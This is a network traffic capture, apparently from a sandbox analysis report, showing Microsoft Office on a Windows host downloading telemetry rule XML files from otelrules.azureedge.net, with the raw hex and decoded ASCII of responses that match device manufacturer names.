2024-11-19 00:01:14 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:14 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:14 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: b3b4b686-701e-000d-1a0b-3a6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000114Z-r18f44ddb69jg8vphC1DFWq24c00000000kg00000000aar9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:14 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:14 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:14 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000114Z-16547b76f7ffqpvqhC1DFWwf3n000000011g00000000m34h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:14 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:14 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:14 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000114Z-16547b76f7fhv4d5hC1DFW7h0n00000004vg00000000gy7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:14 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:15 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:15 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: f3c16b67-901e-002a-76fe-397a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000115Z-17cf5b775c468qpphC1DFWhuww00000000h0000000003gsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:15 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:15 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: dc576d04-601e-003d-79ef-396f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000115Z-16547b76f7fpdsp9hC1DFW8f50000000040000000000x7tr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:15 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:15 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 781161bc-801e-0048-1aef-39f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000115Z-16547b76f7f5b5tthC1DFWuk840000000560000000007btm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:15 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:15 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6cd7b429-001e-0034-76a2-37dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000115Z-164f84587bfjxw6fhC1DFWq94400000006h0000000014st7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000116Z-16547b76f7fgvq8chC1DFWhd2w000000075g000000003wkw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:16 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:16 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b37794a6-701e-000d-02f1-396de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000116Z-17cf5b775c45g8j4hC1DFWne5g00000000ng0000000084bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:16 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a09399d2-801e-0015-5284-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000116Z-164f84587bfs5tz9hC1DFW9a3w00000006p0000000008d2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:16 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000116Z-16547b76f7f64d6whC1DFWf9vn000000050g00000000tph2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:16 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
